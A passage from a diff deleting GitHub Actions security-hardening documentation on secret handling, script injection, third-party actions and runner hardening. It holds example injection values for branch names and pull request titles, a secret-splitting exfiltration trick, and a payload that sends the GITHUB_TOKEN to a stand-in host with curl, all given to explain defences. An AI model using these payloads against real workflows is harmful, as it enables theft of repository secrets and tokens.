redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets used within the job, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: - -* **Never use structured data as a secret** - * Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. -* **Register all secrets used within workflows** - * If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. - * Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. -* **Audit how secrets are handled** - * Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. - * View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. For information on how to clean up workflow logs that may unintentionally contain sensitive data, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). -* **Use credentials that are minimally scoped** - * Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. - * Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). -* **Audit and rotate registered secrets** - * Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. - * Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. -* **Consider requiring review for access to secrets** - * You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). - -> [!WARNING] -> Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. - -## Using `CODEOWNERS` to monitor changes - -You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. - -For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -## Understanding the risk of script injections - -When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - - Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. - - You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). - -In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. - -The following sections explain how you can help mitigate the risk of script injection. - -### Example of a script injection attack - -A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: - -{% raw %} - -```yaml - - name: Check PR title - run: | - title="${{ github.event.pull_request.title }}" - if [[ $title =~ ^octocat ]]; then - echo "PR title starts with 'octocat'" - exit 0 - else - echo "PR title did not start with 'octocat'" - exit 1 - fi -``` - -{% endraw %} - -This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. - -To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: - -![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png) - -In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: - -```shell -Run title="a"; ls $GITHUB_WORKSPACE"" -README.md -code.yml -example.js -``` - -## Good practices for mitigating script injection attacks - -There are a number of different approaches available to help you mitigate the risk of script injection: - -### Using an action instead of an inline script (recommended) - -The recommended approach is to create a JavaScript action that processes the context value as an argument. This approach is not vulnerable to the injection attack, since the context value is not used to generate a shell script, but is instead passed to the action as an argument: - -```yaml -uses: fakeaction/checktitle@v3 -with: - title: {% raw %}${{ github.event.pull_request.title }}{% endraw %} -``` - -### Using an intermediate environment variable - -For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. - -The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: - -```yaml - - name: Check PR title - env: - TITLE: {% raw %}${{ github.event.pull_request.title }}{% endraw %} - run: | - if [[ "$TITLE" =~ ^octocat ]]; then - echo "PR title starts with 'octocat'" - exit 0 - else - echo "PR title did not start with 'octocat'" - exit 1 - fi -``` - -In this example, the attempted script injection is unsuccessful, which is reflected by the following lines in the log: - -```shell - env: - TITLE: a"; ls $GITHUB_WORKSPACE" -PR title did not start with 'octocat' -``` - -With this approach, the value of the {% raw %}`${{ github.event.pull_request.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. - -{% ifversion fpt or ghec %} - -### Using workflow templates for {% data variables.product.prodname_code_scanning %} - -{% data reusables.advanced-security.starter-workflows-beta %} -{% data variables.product.prodname_code_scanning_caps %} allows you to find security vulnerabilities before they reach production. {% data variables.product.github %} provides workflow templates for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short %}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party workflow templates available. - -For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-code-scanning-using-third-party-actions). - -{% endif %} - -### Restricting permissions for tokens - -To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). - -{% ifversion custom-org-roles %} - -## Managing permissions for {% data variables.product.prodname_actions %} settings in your organization - -You can practice the principle of least privilege for your organization's CI/CD pipeline with {% data variables.product.prodname_actions %} by administering custom organization roles. A custom organization role is a way to grant an individual or team in your organization the ability to control certain subsets of settings without granting full administrative control of the organization and its repositories. - -{% data reusables.actions.org-roles-for-gh-actions %} - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -{% endif %} - -## Using OpenID Connect to access cloud resources - -{% data reusables.actions.about-oidc-short-overview %} - -{% data reusables.actions.oidc-custom-claims-aws-restriction %} - -## Using third-party actions - -The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. - -This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). - -You can help mitigate this risk by following these good practices: - -* **Pin actions to a full length commit SHA** - - Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% data reusables.actions.actions-pin-commit-sha %} - -* **Audit the source code of the action** - - Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. - -* **Pin actions to a tag only if you trust the creator** - - Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. - -## Reusing third-party workflows - -The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## Using {% data variables.product.prodname_dependabot_version_updates %} to keep actions up to date - -{% data reusables.actions.dependabot-version-updates-for-actions %} - -{% ifversion ghec or ghes %} - -## Allowing workflows to access internal and private repositories - -{% data reusables.actions.outside-collaborators-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). - -{% data reusables.actions.scoped-token-note %} - -{% endif %} - -## Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests - -{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to create or approve pull requests could be a security risk if the pull request is merged without proper oversight. - -For more information on how to configure this setting, see {% ifversion ghes or ghec %}[AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests),{% endif %} [Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests), and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests). - -{% ifversion code-scanning-actions-language %} - -## Using {% data variables.product.prodname_code_scanning %} to secure workflows - -{% data reusables.code-scanning.beta-actions-analysis %} - -{% data variables.product.prodname_code_scanning_caps %} can automatically detect and suggest improvements for common vulnerable patterns used in {% data variables.product.prodname_actions %} workflows. -For more information on how to enable {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -{% endif %} - -## Using OpenSSF Scorecards to secure workflow dependencies - -[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [workflow template](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in {% data variables.product.prodname_code_scanning %} experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. - -## Potential impact of a compromised runner - -These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. - -{% endif %} - -### Accessing secrets - -Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. -* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. -* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: - - {% raw %} - - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` - - {% endraw %} - -Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. - -### Exfiltrating data from a runner - -An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. - -### Stealing the job's `GITHUB_TOKEN` - -It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. - -### Modifying the contents of a repository - -The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). - -## Considering cross-repository access - -{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. - -If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). - -You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. - -This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: - -1. **The `GITHUB_TOKEN`** - * This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - * The `GITHUB_TOKEN` should be used whenever possible. -1. **Repository deploy key** - * Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). - * Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. -1. **{% data variables.product.prodname_github_app %} tokens** - * {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). -1. **{% data variables.product.pat_generic %}s** - * You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. - * If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. -1. **SSH keys on a personal account** - * Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. - -## Hardening for {% data variables.product.prodname_dotcom %}-hosted runners - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% ifversion fpt or ghec %} - -{% data variables.product.prodname_dotcom %}-hosted runners take measures to help you mitigate security risks. - -{% ifversion actions-sbom %} - -### Reviewing the supply chain for {% data variables.product.prodname_dotcom %}-hosted runners - -For {% data variables.product.prodname_dotcom %}-hosted runners created from images maintained by {% data variables.product.company_short %}, you can view a software bill of materials (SBOM) to see what software was pre-installed on the runner. You can provide your users with the SBOM which they can run through a vulnerability scanner to validate if there are any vulnerabilities in the product. If you are building artifacts, you can include this SBOM in your bill of materials for a comprehensive list of everything that went into creating your software. - -SBOMs are available for Ubuntu, Windows, and macOS runner images maintained by {% data variables.product.company_short %}. You can locate the SBOM for your build in the release assets at https://github.com/actions/runner-images/releases. An SBOM with a filename in the format of `sbom.IMAGE-NAME.json.zip` can be found in the attachments of each release. - -For third-party images, such as the images for ARM-powered runners, you can find details of the software that's included in the image in the [`actions/partner-runner-images` repository](https://github.com/actions/partner-runner-images). - -{% endif %} - -### Denying access to hosts - -{% data reusables.actions.runners-etc-hosts-file %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -{% endif %} - -## Hardening for self-hosted runners - -{% ifversion fpt or ghec %} -**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. -{% endif %} - -{% ifversion fpt or ghec %}**Self-hosted**{% elsif ghes %}Self-hosted{% endif %} runners for {% data variables.product.github %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. - -{% ifversion fpt or ghec %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.github %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. - -{% data reusables.actions.disable-selfhosted-runners-crossrefs %} - -When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.github %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what {% ifversion ghec or ghes %}workflows, {% endif %}organizations and repositories can access runner groups. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -You should also consider the environment of the self-hosted runner machines: -* What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. -* Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. - -Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. - -### Using just-in-time runners - -To improve runner registration security, you can use the REST API to create ephemeral, just-in-time (JIT) runners. These self-hosted runners perform at most one job before being automatically removed from the repository, organization, or enterprise. For more information about configuring JIT runners, see [AUTOTITLE](/rest/actions/self-hosted-runners#create-configuration-for-a-just-in-time-runner-for-an-organization). - -> [!NOTE] -> Re-using hardware to host JIT runners can risk exposing information from the environment. Use automation to ensure the JIT runner uses a clean environment. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#using-ephemeral-runners-for-autoscaling). - -Once you have the config file from the REST API response, you can pass it to the runner at startup. - -```shell -./run.sh --jitconfig ${encoded_jit_config} -``` - -### Planning your management strategy for self-hosted runners - -A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: - -**Centralized management:** -* If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. -* If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. - -**Decentralized management:** -* If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. -* You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. - -### Authenticating to your cloud provider - -If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). - -## Auditing {% data variables.product.prodname_actions %} events - -You can use the security log to monitor activity for your user account and the audit log to monitor activity in your organization{% ifversion ghec or ghes %} or enterprise{% endif %}. The security and audit log records the type of action, when it was run, and which personal account performed the action. - -For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets. - -![Screenshot showing a search for "action:org.update_actions_secret" in the audit log for an organization. Two results are shown.](/assets/images/help/repository/audit-log-entries.png) - -For the full list of events that you can find in the audit log for each account type, see the following articles: - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events) -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization) -{%- ifversion ghec or ghes %} -* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) -{%- endif %} diff --git a/content/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md b/content/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md deleted file mode 100644 index 8a3d870e93ef..000000000000 --- a/content/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Using GitHub's security features to secure your use of GitHub Actions -intro: '{% data variables.product.prodname_dotcom %} has several security features that can enhance the security of the actions you consume and publish.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: GitHub security features -redirect_from: - - /actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions ---- - -## About {% data variables.product.prodname_dotcom %}'s security features - -{% data variables.product.prodname_dotcom %} provides many features to make your code more secure. You can use {% data variables.product.prodname_dotcom %}'s built-in features to understand the actions your workflows depend on, ensure you are notified about vulnerabilities in the actions you consume, or automate the process of keeping the actions in your workflows up to date. If you publish and maintain actions, you can use {% data variables.product.prodname_dotcom %} to communicate with your community about vulnerabilities and how to fix them. For more information about security features that {% data variables.product.prodname_dotcom %} offers, see [AUTOTITLE](/code-security/getting-started/github-security-features#about-githubs-security-features). - -This article will explain how you can use some of {% data variables.product.prodname_dotcom %}'s security features to increase the security of your use of {% data variables.product.prodname_actions %}. - -## Understanding dependencies in your workflows - -You can use the dependency graph to explore the actions that the workflows in your repository use. The dependency graph is a summary of the manifest and lock files stored in a repository. It also recognizes files in `./github/workflows/` as manifests, which means that any actions or workflows referenced using the syntax `jobs[*].steps[*].uses` or `jobs.<job_id>.uses` will be parsed as dependencies. - -The dependency graph shows the following information about actions used in workflows: - -* The account or organization that owns the action. -* The workflow file that references the action. -* The version or SHA the action is pinned to. - -In the dependency graph, dependencies are automatically sorted by vulnerability severity. If any of the actions you use have security advisories, they will display at the top of the list. You can navigate to the advisory from the dependency graph and access instructions for resolving the vulnerability. - -{% ifversion fpt or ghec %}The dependency graph is enabled for public repositories, and you can choose to enable it on private repositories. For more information about using the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository).{% else %}Enterprise owners can configure the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for an enterprise. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).{% endif %} - -## Being aware of security vulnerabilities in actions you use - -For actions available on the marketplace, {% data variables.product.prodname_dotcom %} reviews related security advisories and then adds those advisories to the {% data variables.product.prodname_advisory_database %}. You can search the database for actions that you use to find information about existing vulnerabilities and instructions for how to fix them. To streamline your search, use the {% data variables.product.prodname_actions %} filter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Aactions). - -You can set up your repositories so that you: - -* Receive alerts when actions used in your workflows receive a vulnerability report. For more information, see [Monitoring the actions in your workflows](#monitoring-the-actions-in-your-workflows). -* Are warned about existing advisories when you add or update an action in a workflow. For more information, see [Screening actions for vulnerabilities in new or updated workflows](#screening-actions-for-vulnerabilities-in-new-or-updated-workflows). - -### Monitoring the actions in your workflows - -You can use {% data variables.product.prodname_dependabot %} to monitor the actions in your workflows and enable {% data variables.product.prodname_dependabot_alerts %} to notify you when an action you use has a reported vulnerability. {% data variables.product.prodname_dependabot %} performs a scan of the default branch of the repositories where it is enabled to detect insecure dependencies. {% data variables.product.prodname_dependabot %} generates {% data variables.product.prodname_dependabot_alerts %} when a new advisory is added to the {% data variables.product.prodname_advisory_database %} or when an action you use is updated. - -> [!NOTE] -> {% data variables.product.prodname_dependabot %} only creates alerts for vulnerable actions that use semantic versioning and will not create alerts for actions pinned to SHA values. - -{% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for your personal account, for a repository, or for an organization. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts).{% else %}An enterprise owner must first set up {% data variables.product.prodname_dependabot %} for your enterprise before you can manage {% data variables.product.prodname_dependabot_alerts %} for your repository. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} - -{% data reusables.dependabot.where-to-view-dependabot-alerts %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). - -### Screening actions for vulnerabilities in new or updated workflows - -When you open pull requests to update your workflows, it is good practice to use dependency review to understand the security impact of changes you've made to the actions you use. {% data reusables.dependency-review.feature-overview %} - -If any of the changes you made to your workflows are flagged as vulnerable, you can avoid adding them to your project or update them to a secure version. - -For more information about dependency review, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -{% data reusables.dependency-review.about-dependency-review-action %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action). - -## Keeping the actions in your workflows secure and up to date - -{% data reusables.actions.dependabot-version-updates-for-actions %} - -The following features can automatically update the actions in your workflows. - -* **{% data variables.product.prodname_dependabot_version_updates %}** open pull requests to update actions to the latest version when a new version is released. -* **{% data variables.product.prodname_dependabot_security_updates %}** open pull requests to update actions with reported vulnerabilities to the minimum patched version. - -> [!NOTE] -> {% data reusables.actions.dependabot-version-updates-actions-caveats %} - -For information on how to configure {% data variables.product.prodname_dependabot_version_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -For information on how to configure {% data variables.product.prodname_dependabot_security_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). - -{% ifversion fpt or ghec %} - -## Protecting actions you've created - -{% data variables.product.prodname_dotcom %} enables collaboration between people who publish and maintain actions and vulnerability reporters in order to promote secure coding. {% data reusables.security-advisory.security-advisory-overview %} - -If you are someone who maintains an action that is used in other projects, you can use the following {% data variables.product.prodname_dotcom %} features to enhance the security of the actions you've published. - -* Use the dependants view in the Dependency graph to see which projects depend on your code. 